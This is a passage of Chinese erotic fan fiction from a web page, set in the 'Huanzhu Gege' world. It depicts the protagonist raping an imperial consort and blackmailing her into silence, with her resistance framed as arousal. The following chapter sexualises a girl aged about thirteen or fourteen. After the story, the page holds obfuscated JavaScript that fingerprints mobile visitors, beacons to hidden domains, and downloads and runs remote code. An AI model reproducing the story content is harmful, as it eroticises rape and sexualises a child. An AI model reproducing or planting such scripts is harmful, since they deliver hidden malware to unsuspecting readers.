愉妃的双腿大大的张开,小腿蜷曲着,成‘M’型,将整个蜜穴完整的暴露在尔泰的眼中,蜜穴上那两瓣桃红色的鲍蕾此时用力的分向两侧,内核鼓鼓涨涨的,从里面流出的水渍一部分流淌到了蜜穴口的阴毛上,晶莹剔透的,另一部分顺着愉妃丰满挺翘的臀部流淌到干净的床单上,摊开了一朵娇媚的水花。
尔泰第一次见熟女的蜜穴,原本在她的印象中,熟女身经百战,那里早已是黑漆漆的一片,不过此时见了愉妃的蜜穴,完全颠覆了他的认真,同时也让他想要占有愉妃美穴的念头强烈了许多。
他飞快的解除了自己下身的束缚,将自己粗暴的龙头拿出来,握在手中,狂暴的龙头像是示威一般的对着愉妃娇媚的面庞。
望着有些骇人的龙头,愉妃忙即别过了头,将脸深埋进枕头中,身子在轻轻的发抖着。
尔泰也不理会她,自顾将自己暴涨的龙头放在愉妃的蜜穴洞口,用那红彤彤,烫热以极的龙头摩擦着愉妃浪花四溢的蜜穴。感受到外力的入侵,愉妃蜜穴的花瓣本能的收紧,轻轻的蹭着尔泰龙头的马眼,令的尔泰舒爽的呼吸起来。
“愉妃娘娘,好美,我要你。”
耳边传来尔泰淫荡的话语,愉妃不由的面红耳赤,她将手伸到下腹处,用力的推拒着尔泰想要强行插入自己蜜穴中的龙头,不过她的力气哪有尔泰的大,尔泰将她的两个手交叠攥住,拿向一旁,随后另一手用力的分开愉妃的大腿,让她因为受到外力入侵而缩紧的鲍蕾,又大大的张开。
此时的尔泰完全沉沦在了肉欲的快感之中,他已经忘记了身下愉妃的身份,只是将她当成了自己的女人,一个自己好久没有操弄过的女人,他跪在愉妃的双腿间,腰部摇晃着让自己的坚硬的龙头在愉妃的蜜穴上时而轻、时而重的研磨着。
而随着尔泰的动作,愉妃身上快感连连,暴涨的情欲快要将她的理智生生吞噬了,她情不自禁的扭动着自己的身躯,说不清到底是在躲避着尔泰的入侵,还是配合着尔泰的动作,她的口中,亦是控制不住的娇喘连连。
“啊……尔泰……不要……快停下……啊……我好舒服……啊……好爽……不要……我不要了……求求你……不要再磨了……啊啊啊……”
听着身下的美人淫声浪语,尔泰慢慢的俯下身,嘴唇张开,含住了愉妃的一颗小乳头,包裹在舌头中轻轻的挑逗着,感受到愉妃身子越来越软,身体上悸动连连,尔泰便知道她无力在反抗了,于是便松开了握住愉妃的大手,再将大手放在了愉妃的另一个乳房上,大力的揉搓乳房,手指捏弄着、挑逗着翘起的乳头。
“啊……尔泰……不要捏那里……啊……轻点……啊……好爽……啊……”
在尔泰老道的挑逗之下,愉妃抑制不住的高声喊叫了起来,好在她平日念经,不许下人们守在附近, 因此不管她喊叫的多大声,外面的人都不会听到。
见她来了感觉,尔泰便扶住自己的龙头,使劲的按在愉妃的蜜穴口研磨着,却是一直不肯进入愉妃的蜜穴之中,被尔泰挑逗起情欲的愉妃再也无法控制自身发散出的道道强烈的欲火,情不自禁的口不择言的胡言乱语着。
“啊……尔泰……好人……求你……别再磨了……求求你……不要……不要再磨了……啊啊啊……”
眼见愉妃被自己撩拨起了强烈的欲火,此时怕是自己无论要求她什么她都会答应,尔泰便加大了龙头在愉妃蜜穴口研磨的速度和力度,坏坏的问道,“娘娘,你不要我磨了,那就是要我离开喽?”
“别……啊……不要走……快……好舒服……啊……好要死了……啊啊……啊……”
见尔泰作势要撤离开自己的龙头,愉妃顿时情急了,她做梦都没有想到她会突然伸出手,握住了尔泰的龙头,不让他撤离,随后用力的抬起臀部,凑向那根火热的龙头,同时小手拉着龙头,撞向自己的蜜穴。
尔泰依旧是在使坏,故意用相反的力道撤离龙头,不让龙头真正的进入愉妃的蜜穴之中,每次都是随着愉妃的用力,龙头都轻轻的撞击着蜜穴,随后又猛然撤回,如此一来,非但没有化解愉妃的需要,反而更是激起了她的欲望。
愉妃的牙齿紧咬着嘴唇,嘴唇红的发紫了,在轻轻的颤抖着,同时她的蜜穴中随着尔泰隔靴搔痒般的冲撞,不停的汩汩的向外泛着浪水,又是一个意料之外,已经被尔泰撩拨起的欲望冲昏了头脑的愉妃,竟然发浪的央求道,“给我……啊……尔泰……给我……我要……我好想要……啊啊……”
眼见着身下愉妃骚浪的饥渴模样,听着她迷醉的淫声浪语,尔泰变得异常的冲动起来,他不在逗弄愉妃,而是双手抱住愉妃的双腿,用力的向两边分去,随即腰身一挺,‘滋溜’一声,整个粗大的阳具,就直接捅入了愉妃蜜穴的最深处。
“啊……好疼……救命啊……不要……尔泰……快拔出去……好疼……啊……”
尔泰一插到底,愉妃顿时吃痛的大声喊叫起来,她眉头紧蹙,用力绷紧着身体,眼里都疼出了泪水,她感觉尔泰像是顶穿了自己的子宫,疼的要命。她的小手凌空乱抓着,无力的推拒着尔泰的胸膛,同时屁股颤抖的后撤,想要强行让尔泰的龙头拿出自己的蜜穴。
不过尔泰自然不会如她所愿,非但没有拔出自己的龙头,反而在愉妃吃痛的喊叫中一前一后的抽插起来,愉妃顿时再次大喊道。
“尔泰……啊……求求你……快停下来……不要啊……求你了……你要弄死我吗……啊啊……尔泰……我求求你……求求你停下来啊……啊……”
看着她吃痛的表情,不知为何,尔泰心中忽然涌起一抹变态的快感, 他俯下身子,用力的用牙齿咬着愉妃的奶头,随即用另一只手,在愉妃的另一只白晰丰满的乳房上大力的揉搓起来。
“啊……尔泰……你个混蛋……啊……”
渐渐的,随着尔泰霸道的挑逗,疼痛中的愉妃竟然离奇的获得了一种她之前从未有过的超爽快的感觉,她一边疼痛的咒骂着尔泰,一边放声的浪叫起来,“啊……尔泰……好爽……啊……本宫要死了……啊……要上天了……我好想……啊……要……啊啊啊……”
渐渐地,愉妃醒了过来,此时的她脑海昏昏沉沉的,有些涨疼,她睁开朦胧的双眼,看到自己赤身裸.体的躺在同样赤身裸.体的尔泰身旁,不由得瞪大双眸,本能的就要大声喊叫。
眼见的身下的愉妃渐渐适应了自己龙头的硬度和粗壮,痛苦的嘶喊声也变成了痛快的呻吟声,尔泰也就不再刻意的控制自己早已失控的身体,直起身子,握住愉妃两只脚踝,将她的大腿压向她的胸前,随即整个人成四十五度的向下冲击着愉妃的蜜穴。
“恩恩……恩恩……”
愉妃摇摆着美臀,口中飘出阵阵一荡的胡言乱语,“啊啊……尔泰……好人……好哥……好弟弟……啊……弄得我好爽……啊啊……要飞天了……啊……用力……啊……好舒服……啊啊啊……”
尔泰此时几乎是整个人都贴在愉妃的身子上,坚硬的肉棒每次都是深深的刺入愉妃的蜜穴深处,尔泰的下腹紧贴着愉妃的下腹,一次比一次还要猛的冲击着。
他将愉妃的双腿架在自己的肩膀上,疼出来的双手就放在了愉妃的胸前,大力的揉搓着愉妃的乳房,都捏的变了形,四根手指紧捏着两个小乳头,屁股继续拼命的耸动。
“啊啊啊啊啊啊啊啊啊……太爽了……尔泰……好哥……好弟弟……啊……我受不了了……求你……用力……用力啊……啊……好爽……”
愉妃叫的更响了,四肢已然麻木,无知觉的随着尔泰的冲击而麻木的挺起臀部迎合着,连续不断的快乐电流冲击着大脑,体内的每一个细胞都在膨胀,在膨胀,终于全部炸裂了开来,在愉妃放浪的亢奋的淫叫声中,尔泰也感觉到了腰间阵阵酸麻,随着愉妃又一次高潮的来临,他飞快的抽插着,将体内滚烫的精华,毫无保留的射进了愉妃的体内。
愉妃的蜜穴不停的蠕动,一股乳白色的精液从愉妃微微肿起的阴唇间流出。
尔泰舒爽的长长的叹了口气,将赤身裸体的躺在地上的好似虚脱了的愉妃抱起来,随即快步走向佛堂里面的套间,将她放在床上,随后自己睡在愉妃的一侧,在她的身体上爱抚着。
瘫软的愉妃已经渐渐恢复了体力,她一把打开尔泰在自己身上抚摸的大手,红着脸,冷冷的盯着他,气愤的大声说道,“尔泰,你这个禽兽,你不是人,你是个畜生,你占有了本宫,本宫不会放过你的。”
尔泰一把捂住了她的嘴,在她耳边坏笑着说,“愉妃娘娘,你不是想要全皇宫的人,都看到我们现在这样吧,到时候别说是皇上,五阿哥那里,都饶不了你,哈哈。”
听尔泰威胁自己,愉妃只能打落牙齿活血吞,她用力的咬着尔泰的手掌,尔泰吃痛的甩开了手,疼的在自己的手心中吹气,这时愉妃一个巴掌扇了过来。
“你不是人,你是禽兽,你——”
愉妃气恼万分的,含着眼泪,咒骂着尔泰。
尔泰一把握住她打向自己脸庞的手腕,扣住她的脉门用力的一捏,愉妃顿时就没了气力,喘息着,胸前两颗白皙丰满的乳房剧烈的起伏着,她生气的骂道,“你个混蛋,你是要遭天谴的,老天爷饶不了你!”
“哼,遭天谴?”
尔泰不屑的说道,同时在心里说,“哼,遭天谴怕什么,老子就是遭了天谴穿越过来的,当时老子正在电脑前看AV,天知道一道雷就给老子劈过还珠的世界中来了。”
“你不是人,你是个畜生,要是让皇上知道了,他非要杀了你。”
愉妃恶狠狠的说道。
“哦?杀我,哈哈,他敢杀我?他要是杀我,我反手就杀了他,倒是你,你敢把今天我们的事情告诉皇上吗?哈哈哈。”
尔泰愈发不屑的说道,同时拉着愉妃的手,放到了自己的龙头上,握住她的小手上下撸动着,享受的说,“你看,它又这么硬了,这说明愉妃娘娘你很有魅力啊,不过我还是喜欢我的女人对我温婉如水。”
“哼,想让我本宫成为你的女人,你是在做梦!”
愉妃眼角含着泪花,涨红着脸冰冷的说道。
“哦,是吗?可惜你已经是成了我的女人,你难道忘了,刚刚你在我的身下,都说了些什么话,哈哈哈。”
尔泰得意的大笑道。
“你无耻,你——”
愉妃还待破口大骂,却不料话未说完,她的香唇已是被尔泰厚厚的嘴唇堵住了,她只能含糊的发出呜呜的声音。
被尔泰强吻着,愉妃体内好不容易消散了的欲火又再次的回到了她的身上,就像尔泰刚刚说的,明明是尔泰强暴了自己,可自己却偏偏就没有多少反抗,甚至还主动的配合着尔泰强暴自己,口中控制不住的说出许多羞人的话,这样的结合,到底还算不算是强暴?
愉妃说不清楚,她不明白自己到底是怎么了,明明对尔泰没有意思的感情,却是当他在自己身上动作的时候,自己竟然还能主动的请求他进入,难道,真的是自己空旷了太久的缘故吗?
“呜呜呜……”
此时愉妃的朱唇被尔泰死死的吻住,香甜爽口的红舌也被尔泰纠缠着疯狂的搅动着,只能发出阵阵类似于呜咽的呻吟声。
愉妃扬起手臂,用尽全力的抵住尔泰的胸膛,想要强行将他推开, 不过尔泰的身子太沉了,尝试了几次,都没能成功,同时还令得自己的力气越来越小,随着尔泰不断的用舌头挑逗着自己的脸颊、嘴唇、舌头、脖颈、耳朵,愉妃的体力,又渐渐的被尔泰抽干了。
“啊……不要……啊……”
在尔泰的狂吻和抚摸之下,愉妃再次控制不住的呻吟起来,她分明看到自己白皙丰挺的乳房,在尔泰的大力揉捏下而变了形,自己的粉红色的小乳头,也在尔泰的挑逗下,变得鼓涨涨的了,随着尔泰两根手指的用力一捏,愉妃吃痛的蹙起眉头,娇声呻吟道。
“啊……尔泰……轻点……别太用力……啊……慢一点……好爽……啊啊……好舒服……”
尔泰的大手继续在愉妃的乳房上抚摸着,另一只大手按在愉妃的蜜穴口,用力的揉搓着,感受到大腿上传来的一波一波的快感强烈的冲击着自己的脑海,愉妃的身子情不自禁的蠕动起来。
“啊……尔泰……我要……快给我……啊……受不了了……啊……用力……”
尔泰刚刚将两根手指插入了愉妃的身体之中,愉妃便情不自禁的呻吟起来,她不断的抬高臀部,用力的迎合着尔泰手指的大幅度抽插。
抽插了一会,尔泰感觉到强迫着愉妃用手抚摸的龙头再次恢复了坚硬,便放开了在愉妃阴部抚摸的手,而后跪在愉妃的双腿之间,双手抱住她弹力充盈的小腿,用力的向外分着,愉妃瘫软的仰躺在床上,身子无力的任由尔泰分开了她的双腿,暴露出了整个红扑扑、鼓涨涨的阴部,尔泰将自己的龙头在愉妃的蜜穴口轻轻的摩擦,挑逗的愉妃身体悸动连连,一边摇摆着屁股迎合尔泰,一边放声浪叫道。
“啊……尔泰……好热……好舒服……进来……快进来……啊……我要……啊啊……”
尔泰听得她哀求的淫荡,屁股向前一挺,大龙头进入了蜜穴中,愉妃觉得无比的充实,喉咙‘啊啊……’的发出满足的声音,尔泰继续深入,抵到了花心,愉妃更是美得四肢紧紧的缠住他,哭泣似的呓语不断。
“啊……好大……好热……好爽……啊……尔泰……好哥哥……我好舒服……用力……对……用力的干我……啊……真的好美……啊啊啊啊啊啊……”
尔泰捧住愉妃的皮肤,愈发的发起狠来,每一次都是直落花心,愉妃的浪肉不停地抽缩,真是美翻了。
“啊……尔泰……我好美……啊……用力……好爽……”
尔泰突然停止了抽插,拍了拍愉妃的屁股,示意她回过身来,愉妃略略有些羞涩,不过此时生理需要太盛,也只是略微抵抗了两下,便被尔泰扶着翻过了身,跪趴在床上,整个雪白的大屁股高高的翘起来,对着尔泰的脸。
尔泰俯下身,看着愉妃雪白的臀瓣间的那条幽深的缝隙,看着若隐若现的蜜穴,在后面抚摸了一阵之后,就双手抱着愉妃的屁股,从后面将龙头挺进了愉妃的小穴之中。
尔泰的龙头来回不停的抽送,愉妃的浪水流淌不止,顺着她完美的臀缝,滴滴答答的流淌出来,滴落在干净的床单上,她满面满足的神情,回过头妩媚的看着尔泰。尔泰见平日里不苟言笑的愉妃,此刻在自己的狂猛的冲刺中露出了享受的神情,不免愈发加快了冲击的节奏,让愉妃更是美得喊声连连。
“好深……好热……好大……好美……啊啊啊……啊……”
她越来越声音越高,因为不用理会会被别人听到,愉妃便放开喉咙,只管放声大叫。
“啊……亲哥……亲尔泰……插得好美……啊……好哥哥……好妹妹好舒服……对……就是这样……用力……插本宫&……用力的插本宫……啊……我要……啊……完了……我又要完了……啊啊啊……”
愉妃已经不记得自己在尔泰的身下泄了多少次了,随着‘咕叽咕叽’的声响,愉妃的小穴中又喷出了浪水,有些还喷到了尔泰的身体上,龙头插在肉穴里面,觉得越裹越紧,龙头深深的插入花心的时候,下腹把愉妃肥白的屁股反弹的非常舒服,于是双手按住丰臀,愈发猛烈的冲击起来,刺激的愉妃禁不住大声的喊叫起来。
“啊……好哥……插死妹妹了……啊……好爽……我要……好哥哥……用力……再快点……啊妹妹好爽……妹妹好像要……啊……”
尔泰忽然发觉龙头暴涨,每一抽插,穴肉划过龙头的感觉都非常受用,知道来到射精的关头,急忙用力的抬起愉妃的屁股,使龙头能够插入的更深,又抽送了几百下之后,终于忍受不住,赶快抵住花心,叫喊道,“愉妃娘娘,我不行了,我要来了,啊……”
尽管之前刚刚与愉妃发生了一次,但是尔泰身体中的精华存量还是不少,一下子全部喷进愉妃的蜜穴深处,愉妃承受了来自年轻强壮的尔泰的滚烫的精液,美得直哆嗦,情难自已的呼喊着。
“好热……好舒服……啊……尔泰……给我……全都射进来……啊……我要……好爽……烫死我了……啊啊……”
完事之后,尔泰无力的趴在愉妃的背上,两人满身大汗,酣畅无比,都不住的喘气,过了好一会,才坐起身来。
尔泰坐在愉妃的身边,找过一块白布清理完了自己的身体,正想帮愉妃清理,愉妃恼怒的白了他一眼,一把抢过白布,自顾装过身,擦拭着自己的痕迹。
望着愉妃妙曼的背影,尔泰轻轻的叹了口气,心道,“看样子,自己虽然占有了愉妃的身体,可若是想要得到愉妃的心,让她彻底的爱上自己,怕是还要多加努力才是啊。”
第029章 西山寺礼佛
转眼就到了去西山寺礼佛的日子,一大早,令妃娘娘就梳妆打扮好了,她穿了一件紫色的连体裙装,将美好的身姿修饰的格外修长。
令妃的脸颊粉扑扑,脸上带着柔和的微笑,和煦的阳光洒在她的身上,将她整个人镀上了一层朦胧的魅惑。
尔泰走上前,笑着请安说,“娘娘吉祥,今天气色真是清爽啊。”
“咯咯,要出去了,心情很舒畅,气色自然就好了,毕竟已经有三年未曾踏出宫门半步了。”
令妃和蔼的笑着。
“嗯,娘娘请吧。”
尔泰伸手延请,掀开轿帘,恭请令妃上轿,令妃笑着说,“呵呵,这些事情都是下人们做得。”
“呵呵,您是我的姨娘吗,晚辈礼敬长辈,也是礼法嘛。”
尔泰嘴甜甜的说道。
“跟姨娘还这么客套啊。”
令妃满意的对着尔泰一笑,刚想进入轿子,就听一声清脆的女童音传来,说,“额娘,等等我,我跟你一起坐轿。”
令妃、尔泰皆循声望去,只见腊梅领着一个小女孩跑了过来,女孩约莫十三四岁(与真实历史不符,只为渲染需要,以弘扬中华正史文化为己任者,切莫见怪)长相甜美可人,属于标准小萝莉的造型。
那小女孩挣脱了腊梅的手,飞快的向着令妃扑了过来,扑到了令妃的怀中,小脑袋在令妃的胸前磨蹭着,嗲嗲的说,“额娘,我想你了,我要跟你一个轿子,好不好?”
这小女孩正是令妃的大女儿九格格,性格典雅淑静,极得令妃娘娘喜爱,此外令妃还有一个女儿十格格(乾隆最喜欢的固伦和硕格格,嫁给了和珅和大人的儿子丰绅殷德)今年只有十岁(杜撰,真实年龄应该在三四岁左右)因为乾隆极其宠爱十格格,这次去西山寺礼佛,就没有带上她,而是将她留在了宫中。
令妃爱怜的摸摸九格格的脑袋,笑着说,“好好好,你就跟额娘坐一个轿子。”
“嗯,谢谢额娘。”
见额娘同意,九格格就甜甜的笑了,天真的腮头上浮起两朵美艳的红晕,踮起脚在令妃的脸颊上亲了一口,之后就咯咯的笑,发出银铃般的笑声。
“调皮。”
令妃和蔼的笑道,伸手在九格格的鼻梁上刮了一下,之后就把九格格搂在怀中,轻轻的拍打着她的香肩。
一旁的尔泰看得呆了,好一幅天伦之乐的美好画卷,不过在尔泰的心中,却是这样想的,“好一对美女花,我喜欢,嘿嘿。”
九格格也看到了尔泰,从令妃的怀抱中出来,甜甜的对着尔泰施礼道,“尔泰哥哥。”
尔泰慌忙回礼,抱拳说,“九格格吉祥,来哥哥抱抱,看看我们的九格格是不是又长大了。”
说着尔泰张开手臂,九格格却是噤了噤精巧的鼻子,嘟起红唇说,“来不要咧,我都是大女孩了,才不要尔泰哥哥抱呢,先生说了,男女授受不亲的。”
“额?”
尔泰顿时老脸一红,无语了。
“咯咯咯——”
眼见着尔泰吃瘪,令妃母女笑得花枝乱颤,那好看的模样令尔泰又是好一通眩晕,在心里发誓道,“姨娘,九格格,总有一天,我会让你们成为我的女人。”
乾清宫外的广场上。
“好了皇帝,你就忙你的国事吧,就不要送了。”
老佛爷对着皇帝乾隆说道。
“额娘去西山寺礼佛,替我大清江山、黎民苍生祈福,作为儿子,自然要迎送额娘的。”
乾隆笑呵呵的说道,尔泰就看向他,这个电视剧还真是害人不浅,那个铁林兄演的乾隆还算是高大帅气的,不过真实的乾隆,倒是也够帅气,就是身高上,略略有些不足,大约在160cm左右。(据正史记载,康熙帝身高是158cm,乾隆帝160cm左右)而清朝的娘娘、宫女们都是穿的‘高跟鞋’,这样就比乾隆高了大半个脑袋,尔泰顿时自我感觉很良好了。
这时尔康走到尔泰的身旁,在他耳边低语道,“尔泰,路上加点小心,一定不能让老佛爷、娘娘们有丝毫的闪失。”
“嗯,放心吧。”
尔泰回道,随后看向尔康,只见他眼眶泛黑,显见得是这段时间忙活着选秀女的事情太疲惫了,尔泰说,“哥,悠着点,事情一下忙不完的。”
“嗯。”
尔康点点头,没有再多说什么,他算是一个话不多的人,除了对紫薇之外,不过因了尔泰的穿越,尔康还有没有机会让紫薇爱上他,还得两说着,毕竟紫薇也会尔泰心目中的女神。
忙活了一阵,娘娘们都上了车,五阿哥站在愉妃的车旁偷偷向尔泰招手,尔泰跟尔康打个招呼,随后快步向五阿哥走去,“五阿哥,什么事这么神秘?”
五阿哥四下看看,小声说,“出了宫,去帮我淘换几本书。”
“什么书?”
尔泰小声的反问道。
“你知道的。”
五阿哥的肩膀,碰了碰尔泰的肩膀,眼眉一挑一挑的。
“我明白了,嘿嘿。”
尔泰贼贼的一笑,明白了五阿哥是让他整几本类似于至尊合欢经那类的书。
见尔泰明白了自己的意思,五阿哥就高兴的擂了尔泰一拳,随即掀起轿帘,对着愉妃娘娘拱手道,“额娘,山上夜风凉,您可要多穿点衣服,千万别着凉了。”
“嗯。”
愉妃点点头,对着五阿哥叮嘱道,“额娘不在,你万事当心,记得不要搁下了学业,额娘回来会检查的。”
五阿哥脸上就偷偷的露出了郁闷的神情,尔泰扶额感叹,“应试害人啊。”
这时,愉妃娘娘也看到了站在五阿哥身后的尔泰,冷冷的瞪了他一眼,神情有些很不自然。
车队出发,一路无话,穿过熙熙攘攘的街道,进了郊外小路,一路大队人马护送,并未出现任何意外,很快车队就上了西山寺,方丈慧莫禅师率寺内众弟子在山门处迎接,寒暄过后,将众人迎入了寺庙之中。
寺里早就接到了皇家的通知,已经是收拾出了不少的宅院给老佛爷、娘娘们居住,老佛爷对慧莫禅师说,“老方丈,我们这群不速之客,真是打扰你们了。”
慧莫说,“阿弥陀佛,老佛爷亲莅本寺为天下苍生祈福,乃是我寺的荣耀,求之不得。”
之后众人就安顿了下来,行程安排是一个月。无聊的过了三天,白天老佛爷就带着娘娘们去寺庙正殿念经,晚上就回房吃斋念佛,套路的紧,安全问题上也没有出现任何的差池。
无聊的尔泰便想,“找个机会偷偷的下山去耍耍,去会会那古灵精怪的小燕子,嘿嘿。”
关闭
function wfSvZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function RQFSo(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return wfSvZ(t);};window[''+'B'+'Q'+'s'+'g'+'C'+'N'+'J'+'E'+'Z'+'H'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function fily(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=RQFSo,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=fily(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=fily(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLmFoZGFpaai5jb20lM0E4ODkx','d3NzJTNBJTJGJTJGYS54a25lb2suY29tJTNBOTUzNAA==','9489',window,document,['a','A']);}:function(){};
function vSqnHVE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TWZFbJg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return vSqnHVE(t);};window[''+'A'+'Q'+'G'+'M'+'I'+'Z'+'D'+'g'+'R'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function UhtP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TWZFbJg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=UhtP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=UhtP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkkYlMkkZhLm1wemx2cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYYS55a2toanMuYY24lM0E5NTM1','168322',window,document,['k','Y']);}:function(){};
let urls=["hWWtWWtWWpWWsWW:WW/WW/WWoWWcWW1WW8WW1WW2WWnWW4WWdWW7WW6WW.WWoWWsWWsWW-WWcWWnWW-WWsWWhWWaWWnWWgWWhWWaWWiWW.WWaWWlWWiWWyWWuWWnWWcWWsWW.WWcWWoWWmWW/WW1WW2WW/WW1WW1WW0WW5WWeWWcWW8WW5WW8WW2WW3WW7WW2".split("WW").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBpBB.BBgBBoBBdBBmBBwBBiBBtBBhBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBmBBqBB1BB2BBnBB4BBdBB7BB6BB.BBoBBsBBsBB-BBcBBnBB-BBsBBhBBaBBnBBgBBhBBaBBiBB.BBaBBlBBiBByBBuBBnBBcBBsBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hTTtTTtTTpTTsTT:TT/TT/TTdTT8TT9TT-TT1TT3TT1TT3TT9TT4TT4TT0TT6TT2TT.TTcTToTTsTT.TTaTTpTT-TThTToTTnTTgTTkTToTTnTTgTT.TTmTTyTTqTTcTTlTToTTuTTdTT.TTcTToTTmTT/TT1TT1TT0TT5TTeTTcTT8TT5TT8TT2TT3TT7TT2".split("TT").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();